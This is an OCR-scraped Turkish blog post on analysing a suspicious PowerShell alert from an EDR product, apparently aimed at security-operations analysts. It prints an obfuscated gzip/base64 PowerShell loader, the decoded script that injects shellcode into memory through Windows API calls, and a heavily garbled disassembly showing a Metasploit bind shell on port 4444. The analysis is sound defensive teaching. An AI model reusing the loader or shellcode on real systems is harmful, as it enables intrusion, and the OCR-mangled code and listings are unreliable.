Zararli Powershell
Analizi

written by Mert SARICA | 1 January 2019

Sysmon gibi Ucretsiz, FireEye HX, Carbon Black Response gibi ticari EDR
(endpoint detection & response) guvenlik teknolojilerine sahip olan
kurumlarin yakindan izledigi alarmlarin basinda, hemen hemen her tehdit
raporunda, arastirma yazisinda adinin siklikla ge¢tigi Powershell oldugunu az
¢ok tahmin edebilirsiniz. Invoke-Obfuscation gibi yardimci arac¢lar nedeniyle
hedef isletim sisteminde Powershell kullanimin tespit edilmesinin c¢ok daha
zorlastigil glnumizde, EDR teknolojilerine olan bagimlilik ve Powershell
kayitlarina olan ihtiyac¢, kurumlar ic¢in elzem bir hale gelmistir.

Her givenlik teknolojisinde oldugu gibi EDR teknolojisinde de alarmlari
analiz edebilecek yetkinlikte insan kaynagi olmadan bu teknolojiye sahip
olmak, kurumlar ic¢in 6l0 bir yatiraim olmaktan Oteye gidememektedir.
Analistler sayesinde komut satirinda tespit edilen bir alarmin glinidn sonunda
hedef sistemin belleginde calistirdigi kabukkodunun (shellcode) tirine,
baglanti noktasina kadar 6nemli bilgilere erismek mimkin olabilmektedir.

Ornedin kurumunuzdaki EDR sisteminiz siipheli bir Powershell kullanimi ile
ilgili olarak asagidaki sekilde bir alarm ilrettiginde Siber Glvenlik
Merkezi’'nizdeki analistlerin en kisa slrede bu alarmi analiz etmek icin ise

koyulmalari gerekmektedir.

"event values": {

"processEvent/eventType": "start",

"processEvent/process": "powershell.exe",

"processEvent/processPath":
"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1l.0\\powershell.exe",
"processEvent/processCmdLine": "\"powershell.exe\" -noni -nop -w hidden -c
&([scriptblock]::create((New-Object I0.StreamReader(New-Object
I0.Compression.GzipStream((New-Object

I0.MemoryStream(, [Convert]::FromBase64String('H4sIAL3yl10CA7VWbW/i0BD+3JIX2P0Q
rpCS61JfCbtVKK53DSO1LWmgg lHL0o5CZOMDgxdZzysrf//SaQbLtq9273pItAOPaMPfM8z4w]OtiT
IMFfKKtwgX96/0+pjgSNFK7HH1SAXINLD3NOPjmChtLOVz402RatVifeYxrPz82YqBIn14b18QSRKE
hI9MEoSTVf+UsZzIsjxzcOCeFL50pT+LF8w/0BZbrZtYm901GMU+91laj3s4i6XsrBiVmvrHH60+Pa
7Nyu3HFLNEU51tIklU9h1TdeWrnh043K6IptrUEzzhgSyPaVw/KY/iBAfkGnZ7IjaRc+4nqg45wEc


http://www.hack4career.com/zararli-powershell-analizi/
http://www.hack4career.com/zararli-powershell-analizi/
https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
https://www.fireeye.com/solutions/hx-endpoint-security-products.html
https://www.carbonblack.com/products/cb-response/
https://www.mertsarica.com/komut-satirinin-gucu-adina/
https://docs.microsoft.com/en-us/powershell/
https://github.com/danielbohannon/Invoke-Obfuscation
https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html
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+EcgDohKICjjUvw/mwIWmWrFNIgDp8K4C8AGo LRTWUUK3xenZ0xipTYaTxFD6KZSLZygOwYz4holLi
hOZLKJIV8P1STfw7VTIgmHE11sN90/AZKTf20RXIkXqAXGQ/NBZEY9ilmFhKF3qE3PrOLA4WHOTiSZmj
MYh7PQETMBMhoAjMzkIiDGjXi87RFrRipEITPZ122E4hCrN1b6XDw6J]r76KsBDOQbOZGAUKL+IDhN
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sXBQ93YOkfcWeg5pdTlp7FaxXd0fOkD/ZVD7tzN26am5219APJq0gCE8D57b2sUN74+bAr]7gXqud9
sbm2qw2kjZddwdONFheduTDxGV4AFFTCu90ZppueWLglbu8shC7mdW93GbgXc9vfTrqVs3FjidoINe
022zH51cQUQF9xcSjVvRze9Mxx2H1GOeGydVUKwvcPIQml3e/kx4g0X+Xwtk/p9peK6J7T+abioVM7
c09wdJje/dSs118DYTYdjGI85wuHt2DOImyfePIC9et fRCMGEBgiZYxyafHx10/wYVNx17foRde6H
z7Yjc72NL3xy2vgQ8QrElsIVeUHXj5qtjuUUyxwxohD5aVE+Hi07eGfucZhb6alt2ESyJiwuAmgbumE
CBijHtZW85aKNwIhz49gwIawbB+8uZIV74Z6s/9upg6P7+HGEHQoLhyj8ShnBvVTblaheZb3TSqkO0
HPp9Xkq62W7WRKvTtDJId+Y7TfWM4mXeNs66/6vaOWFNYcf/1/Qep77h9WfQrBq7PNINfvIxC/B+at
5jzGVYOhAX2DkcDWImX6uixeX
954T4D3In+yf000qj6/hUv8bAKByiaAJAAA="))),[I0.Compression.CompressionMode]: :De
compress))).ReadToEnd()))"

"processEvent/parentProcessPath":
"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1l.0\\powershell.exe",
"processEvent/parentProcess": "powershell.exe",

}

Alarmda dikkat ceken kisimlarin basinda GzipStream, FromBase64String,
I0.MemoryStream geldigini g6rebilir ve buradan yola c¢ikarak GZIP ile
paketlenip, Base64 ile gizlenmis bu verinin bellekte bir islem
gerceklestirdigi varsayiminda bulunabilirsiniz.

Kali Uzerinde bulunan echo, base64, xxd, gunzip komut satiri araclarindan
faydalanarak kisa siirede gizlenmis bu veriyi asagidaki sekilde
¢cOzebilirsiniz.
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root@ubuntu:-—#

rootéubuntu; *mwm
“rw-r--r-- 1 root root 1197 Mar 11 11:51 payload.bin

FOOTBUbUATY:—#
FOOTBUDUNTY : ~#
payload.bin: gzip compres: ata, last modified: Thu Mar 1 12:31:57 2018, max compression, from Unix
rootEubuntu;—#
root@ubuntu:
function pgy {

Param Eslqms. $bhc)

$24 = {[AppDomain] i :CurrentDomain. Getassemblies() | where-object { $_.GlobalassemblyCache -and $_.Location.split("\\'J[-1].Equals(’System.d11') }).GetType( Microsoft.win32, unsafeNativemethods')

n_S2M. Getvethod (' cetprocaddress’). Invoke(Snull, @([System. runtime. Interopservices. Handleref] (New-Object System. runtime.InteropServices. Handleref ((New-Object Intptr), ($2v.cetmethod(’ GetmoduleHandle
- IvokelSnu1 1 B(510885))3) . Sbhed)

painL? IHEF LQBesL Vv ee 10 ae) SMCE5IT
‘2% oo i

function eky {
Param (
ParameterEPo‘s‘itian =0, %andatur{ = $True)] P’Ype[]] SxkK,
3 Parameter (Position = 1)] [Type] $clZeu = [Void
Sy [Appbomain] : :Currentbomain. oefinebynani:Assenb'ly((ue«-object oy s(en reflection. assemblyname(’reflectedbelegate’)), [System.reflection.emit. Assesblysuilderaccess]: :kun).DefineDynanicModule("InMe
wryﬂudu'le 5 !falsr.- nefme e("MyDelegateType”, ass, Public, Sealed, ansic Autoclass’, [System.MulticastDele e?’
Duﬂnncunstrudnr( RTSpecialName, H1dlﬂ¥5(g‘ Public’, [System. neﬂo:nnn CallingConvent ions]::Standard, " Sxki. 5Mlmp1!mn!aliort1ags( Runtime, Managed')
§xfl2?7 pefinesethod (' Invake’, ‘Public, Hidelys g, Newslat, virtual', Selzeu, Sxk). scuup'lumutimr'lags( RuAtine, Managed ')

return $xnQ77.CreateType()

E]g.miskny Hslﬂn comm] mmwim( mcmummmmlnm H%; mm Satsens mmmi%wm'm‘m“%i

ugge - [sgsnm RUNE ime. InTerop: es.Marshal]:: vionpointer ({pgy kernel32.d11 virtualalloc), (eky @((IntPrr], [uInt32], [uint32], (uint32]) ([Incerr]))). Invoke([IntPrr]::Zero, Skiy.Length,Ox3

[System. Runtime. InteropServices.marshal]::Copy(SkLy, 0, Sgpe, SkiLy.length)

marshall : :Getoelegateror FunctionFointer ((pgy kernel3z.d11 createthread), (eky @((IntPtr], [uime32], [incer], [inteurd, [uime32], [Inteerl) ([Zmeeorld)). Invokel[inteirl:
o

GeipelegateForFunctionfointer ((pgy kernel32.d11 waitForsingleobject), (eky &([IntPtr], [Int3z])

SOEI9H = [System.Runtime. Interopservic
zera .$gpe, [IntPer] ::Zero,0, [Inceor]
¥st!m Runt ime. Interopservices. Narsha'll =
Zip gaylmﬂ .bin: unexpected end of file

Ortaya c¢ikan Powershell betiginin bellekten .Net API yardimi ile Windows API
fonksiyonlari cagirarak ozetle bellekte yer acip, acilmis bellege,
FromBase64String() fonksiyonu icinde yer alan kod parcasini kopyaladiktan
sonra yeni bir is parcacigi (thread) olusturup, bu kod parcasini

calistirdigini gorebilirsiniz.

FromBase64String() fonksiyonu icinde yer alan kod parcasini c¢6zmek icin ise
yine echo, base64, xxd komutlarindan faydalanabilirsiniz. Ancak bu defa
elinizde bellekten calismak lUzere hazirlanmis bir kabukkodu oldugu igin ilave
olarak shellcode2exe ve Radare2 araclarindan da faydalanmaniz gerekmektedir.


https://github.com/MarioVilas/shellcode_tools/blob/master/shellcode2exe.py
https://rada.re/r/

|[Foote
{h3cz)f

-p

|[basess : invalid ngput

| f(eBB?OﬂODDOEGBQeS!1COEJSh50]BSBSZDCSH522]357223Mh?1a2531.ff
ﬁlFCUZZCZULleUdDJC?EZfIEZ 78b52108bda3cEb4cll 7 8e 34801,

|| 3535853601 a3ibion b318b01d6 31 facclcfOd0Lc7 382075F603

7df83b70247 Sed 1c01 H

2asosh61sesasufe05f 575a8b12eb 3200006 vvnzsgg:gau

E aofdfeoffd59?650200115:89&66310 ES?GBcldb]r 67 Ffd55768b7
e038fFFfd5576874ec3B7FF555e5daldsbo3587FF55a801a811595da00b6
’El?ff\‘562:60d901300040000159&301*15 924f 971 56404daB0L594d5
da0b67 217 Ff 54070ca719d7hb0
|| rootBubuntu :~#

DUNTU : -# & RLSF1LWCQB02 AL DEGL] SE Twha1UQk JFTBYV TauT /gxIgaTxir Jvios
y np S /Vk1NGAFZTV2gC 2chf /GUBwynGde7D | baseéd --decode |

rootfubuntu:—# echo /OTCAAAAYTNIMCEKLAwT 1TMiTTUT 3ToD7dKI jH/r i mmnknzp]fzmx{mmz#«mrg?musnmmnnzuu:mmm;smmuumtmaur}gnqﬁxujnmzlm

hs:n!mw mnswmwrwﬁag:mhg;wjm{g!mnmvy:smvims!z.u’/wﬂ 3571/ 5 /vkiNgaFzTv2ge2ehf /JuBwyncde?D | basefs --decode |
> payload.

sl 'fnvaHd el

rootéubunt

ntus
||root@ubuntu: —a file payload?.bin
l[payload2. bin: data
||rooTRubUNTU : ~#

rooteubuntu:-# |

root@ubuntu:~# python shellcodeZexe. py
shellcode to executable converter
by Mario vilas (mvilas at gmail dot com)

Usage:
5he'|'|code2exe.ﬁ= y payload.bin [payload.exe]
—-arch=1286|powerpc|sparc|arm]
[——os—wmdws?'l'inuxlfreebsdlopenbsdIso'lar'is]
[-c Allow for ascii shellcode as a cmd line parameter]
[-s Allows for ascii shellcode in file]
[-d Allows for unicode shellcode as a cmd 1ine parameter]
[-u Allows for unicode shellcode in file]
options:
-h, --help show this help message and exit
-a ARCH, --arch=ARCH target architecture [default: i386]
-0 0S5, --05=0S target operating system [default: windows]
-c, --asciicmd enable ascii entry in command line (e.g. -c
" X904%x90")
-s, --asciifile enable ascii entry in input file
-d, --unicodecmd enable unicode entry in command 1ine (e.g. -d
'%u9090")
-u, --unicodefile enable unicode entry in input file

root@ubuntu:~#

root@ubuntu:~# python shellcodeZexe.py -o Tinux payload2.bin shellcode
shellcode to executable converter

by Mario vilas (mvilas at gmail dot com)

Reading raw shellcode from file payload2.bin

Generating executable file

writing file shellcode

Done.

root@ubuntu:~#

root@ubuntu:~# file shellcode

shellcode: ELF 32-bit LSB executable, Intel 80386, version 1 (5ysv), statically linked, corrupted section header size
root@ubuntu:~#

root@ubuntu:~#

Radare2 ile shellcode dosyasini analiz ettiginizde ise aslinda bunun
Metasploit‘in 4444. baglanti noktasinda dinleyen bir bind kabukkodu oldugunu
gOorebilirsiniz.


https://metasploit.com/
https://github.com/rapid7/metasploit-framework/blob/cac890a797d0d770260074dfe703eb5cfb63bd46/external/source/shellcode/windows/x86/src/block/block_bind_tcp.asm

rootd@ubuntu:
warning: read

wWarni itialize strin-gs- table
Ea;usmauﬁlm

== HATF

ONOB04ED fc cld

Ox0804E055 efE2000000 call oxBo4B0dc
0x080480dc () ; entryd

00804 805a 60 prushld
0x0804E05h B9es v ebhp, esp
Ox0804E05d el mr eax, eax
Ox0804 B05F 64 Eb5030 mov edx, fsreax+0x30]
008048063 8h520c mov edx, [edw+Oxc]
00804 8066 Bb5214 mov edx, [edx+Oxd
o, m— = Ow0804B069 Bb7228 mov €59, [edx+0x28
0x0804E0EC ofb74a26 moveEx ecx, word [edx+0x26]
0x0804 E070 31FF xor edi, edi
W=-> 008048072 ac Todsb
| (08048073 3cbl cmp al, Ox61
| = OnOB04B075 702 il OxB048079
I| Ox0B04E077 220 sub al, Ox20
| " -> Ox08048079 clecfod ror edi, Oxd
| 00804807 01c? add edi. eax
Tmme Q0804807 eif2 1 Ox10804807 2
00804 8080 52 push edx
00804 EDBL 37 push edi
Ox08048082 Eb5210 mov eds, [edw+0x10
Ox0804 8085 Shdalic mov ecx, [edw+Ox3c
008048088 Bh4c1178 mov ecx, [ecx+edx+0x78]
Ox0804808c ©348 jecxz OxB04E0d6
0x0804EDBe 0141 add ecx, eds
0x0804 8090 51 push ecx
Ox0804 8091 8b5920 mov ebx, [ecx+0x20]
G004 8084 01d3 add ebx, edx
00804 096 Bb4918 mov ecx, [ecx+0x18]
o === OXO804E099 e3ia ecxz OxB0480d5
l Ox0804E09b 49 BC eCx
| 00804 809¢C Sb348b mov esi, [ebw+ecx*a]
| (0804 BOGT o1dé add esi, edx
| 00804 B0al ILff wor edi, edi
|.===> DxOB04E0A3 ac lTodsh
n Ox0804E0ad clecfod ror edi, Ouxd
11 Ox080480a7 0lc? add edi, eax
1 Ox0804 8029 38e0 cmp al, al
| m—— Q0804 80ab 7566 jnz Oxl0E0480a3
| 0x080480ad  037df3 add edi, ehpvuxa]
| Ox0804 0D 3brd2a cEp Edi. 0x24]
"mmmms 008048003 T5ed jnz nxmsms a9
00804 B0bS 58 pPop eax
00804 B0bE Bb3824 mav ebx, EHMDKH]
0x0804 E0BO 0143 add lb!
0x0804 E0bh G6EbOc4db man [ebsuecx'z
Ox0804 B0bF 8h581c mav relm-:1 [eax+0xlc
Oa0804 80c2 01d3 add ebx, edx
00804 80c4 BbO4ED mov eax, [ebx+ecx*4]
Ox0804E0CT 01d add eax, edx
Ox0804E0CY Bodd 2424 mov [esp+0x24], eax
Ox080480cd Sh pop ebx
0804 80ce Sh pop ebx
0x0804 B0CE 61 popad
00804 E0G0 59 pop ecx
Ox0804 E0dL 5a pop edx
Ox080480d2 51 sh ecx
Go0804 8043 ffed g:p EY
00804 80dS 5 pop edi
00804 E0dE 5f pop edi
I Ox0804E0dT 5a pop edx
| Ox0804 8048 Bb12 mov eds, g:dx]
mmmmm 0804 50da eb&d jop Ox10E04 8069
0x0804 B0dc sd pop chp



BH5EIE wov ebx, [eaxs0xIa]
1d3 add ebx, edx [ C 1Y | & Secure | httpsy//github.comrapid? framewo &q=0
E68b0CAD mov cx, [ebx+ecx*2 A
f ggglc :g: :g:. Egimoxu @) Hackd Career.inforr [ Linkedin 'WF Mert SARICA (merts: M Inbox - mertsanica®  [B Login | Sphunk
4 bod 8t mov eax, [ebxsecx®d]
7 1d0 add eax, edx e
9 ..gnzua mav E;spoﬂl?d]. eax ull requests s
d x
5 pop e
f 1 popad
59 pop ecx
5a pop edx
51 push ecx
Ffe0 jmp eax
sf pop edi
5F pop edi
=, pop ggx e . block/block_bind_tep.asm
L mov edx, [edx Issues
— eb8d jmp Ox10804 8063
3d pop :
6833320000 push 0x3233 ; 0x00003233 Wikis
2 E87773I25F  push OxS5F327377 ; OxBF327377
7 34 push es?
GBACTT2607  push Ox726774c ; OxOT26774c
ffds call La
unk. unk. unk, unk, unk, unk, unk, unk) nguages
bE900LO000  mov eax, 0x190
4 29¢ca sub esp, eax Assembly 4
fa: “m push esp *ealern fsource/shellcode/windamws/ Block/block_bind_tcpasm
B 68 pus| g Shewang thy teh  Last ind
d  ffds call ebp
unk, unk, unk) nov rax, r
o =l S Advanced search  Cheat shaet nov rex, rd
Lmmm—— = 02 50 H’"sh eax mov ri0d, GxETIIDBCI
f—— 03 ezfd 00p OxLOB048102
x0E048105  Badl push Oxl ; OxDOOD0OOL
o7 Bad2 push O0x2 ; Ox00000002
09 g;eawdfeo push Oxetdfofea ; Oxe0dfofea
e e uri:‘:ri::‘gnk) * axtemalfsource/shelicode/wind
x08048110 7 xchg edi, eax Showing steh Last ind
11 680200115¢c  push Ox5c110002 ; 0xSc110002 52
16 896 mov esi, esp
18 Ea10 push 0x10 ; 0x00000010
la 36 push esi
Ox08048116 57 push edi
1c 68c2db3767  push Ox6737dbc2 ; Ox6737dbc2
21 Ffds call
b, unk, unk, unk, unk)
23 57 push edi
Ox0S048128  68b7e03BFF  push Oxff38e0h? ; OxFFifeth?
Ox08048129 L N ebp external/source/shellcodey
0 wnk, AT
2b > push eds Showing the top match  Last
2¢ 6874ec38Tf push Ox7f38ec7a : Ox7f3gec7a
X05048131 5 cme push GuSTATDBCE
xOE048132 55 push ebp itk
33 e5da in eax, Oxda
35 1d5ba3587f  sbb eax, 0x7f58935h
3a 5 cme
3 sa pop edx
080481 3C 801a81 sbb byte [edx]. Ox81 A
4813 %g?;dabﬁbé “.‘2‘&33;;‘2?2‘““” pternal/source/shellco re/hash.py
x 3
16 FEfs 1-91]%5 208
48 62 nva — T
OX08048149  cd9a int Oxga T 3 1l | MSASodortAr ).
| { en6737DBCZ,
( OxFF33£967, "
OXOBOIEGBG  Bb3AZd mov €bx, [Eax+Oxid] b
480bI 103 add ebx, edx « C ) | @ Secure | https//github.com/rapid7/metasploit-framework/blob, c3cB90a 797 d0d 7702600 </xBE,/src/blo
b 668b0csb mov cx, [ebxsecx*2
: '-; gzglc x; :gi. E::monc ) HackdCareer Inforn  [) Linkedin W Mert SARICA (mertss | Inbox - mertsarieal  [E Login | Splunk
480c4  8bO4SH mov eax, [ebxrecx<d] p——
4B0CT 1d0 add eax, edx bind_tcp:
4 g ..2«2424 mav. .[;spc-m(zd. eax n exBeaanads
t0ce  Sb Pop ebx sush BxSFITITT
4 B0 1 popad p
180d0 59 pop ecx .
" 5a pop edx push @x0726774C
48042 51 push ecx - .
48043 ffed jup eax
4 804! 5f pop edi
180dE  5F pop edi e
7 Sa pop edx .
4 B0dE 8b12 mav edx, [edx] e
A 1804 ebBd jup Ox1080480869 P
04504 5d pop_ebp f
480dd  §833320000 push 0x3233 ; Ox00003233
687773325F  push Ox5F327377 ; Ox5F327377
4 7 54 us| esg -
4 GB4CTT2607  push OX726774C ; ONOT26774c
4 Eled ffds cal
unk, unk, unk, unk, unk, unk, W
mov eax, 0x190
Ox0B0480F4  29c4 sub esp, eax
4E0TG 54 push esp
0x080480F7 50 push eax
5 6829506b00  push Ox6ba0Z9 ; Ox00GbEO2Y i
0fd Ffds call ebp 8 times Lot
unk, unk, unk)
480ff  6a0b push Oxb 5 0X0000000b
0x0804£101 59 pop ecx
048102 50 ?ush eax
4E103  e2fd 0x108048102
4 5 6all push Ox1 ; Ox00000001
481 6a02 push 0x2 ; 0x00000002 e [6
48109 G8eadfdfed  push Oxe0df0fea ; Oxeddfofea
ffds call
unk, unk, unk, unk, unk) i
45110 7 x:bg edi, eax :
0x08048111  630200115¢  push OXS€110002 ; Ox5€110002 ’ x
Ox0B04E116 8966 mov esi, esp
08045118 Gald push 0x10 ; 0x00000010 =
08048112 56 push esi n cax
4 b 57 push edi
(0804811c  68c2db3767  push 0x6737dbe2 ; Ox6737dbe2 pusk
48121 ffds call ebp :
unk, unk, unk, unk, unk)
0x08048123 57 push edi x alue LE
4 68b7e935FF  push OxFF38e9b7 ; OxFF38edb?
0x08048129 ffds call ebp
unk, unk)
Ox0804 8120 57 push edi -
4 © 6874ec38’f push Ox7f3Bec?d ; Ox7f38ec’s e
1 3 (174
48132 ush ebp £ o5 8
45133 e5da n eax, Oxda =
48135 1d5b93587F  sbb eax, 0x7f58935h
4ELl3a 5 mc
b S5a pug edx
4813c  B01aBl sbb byte [edx], Ox81
4813F 1 b adc eax, Oxb
04B144 7217 jb OxB04E15d
Ox08045146  FFFS push_eby
Ox0804 8145 62 imvali
Ox08048149 cdfa int Ox9a

Sonuca gelecek olursak, bu drnekten yola cikarak gunumizde gerceklestirilen
ileri seviye siber saldirilarla micadelede EDR gibi teknolojilerden
kurumlarin tam anlamiyla faydalanabilmeleri icin alarmlari analiz edebilecek

yetkin insan kaynagina da bir o kadar ihtiyac¢lari bulunmaktadir.
Bir sonraki yazida goOrismek dilegiyle herkese givenli ginler dilerim.
Not:

1. Bu yazi ayrica Pi Hediyem Var #14 oyununun ¢6zum yolunu da icermektedir.


https://www.mertsarica.com/pi-hediyem-var-14/

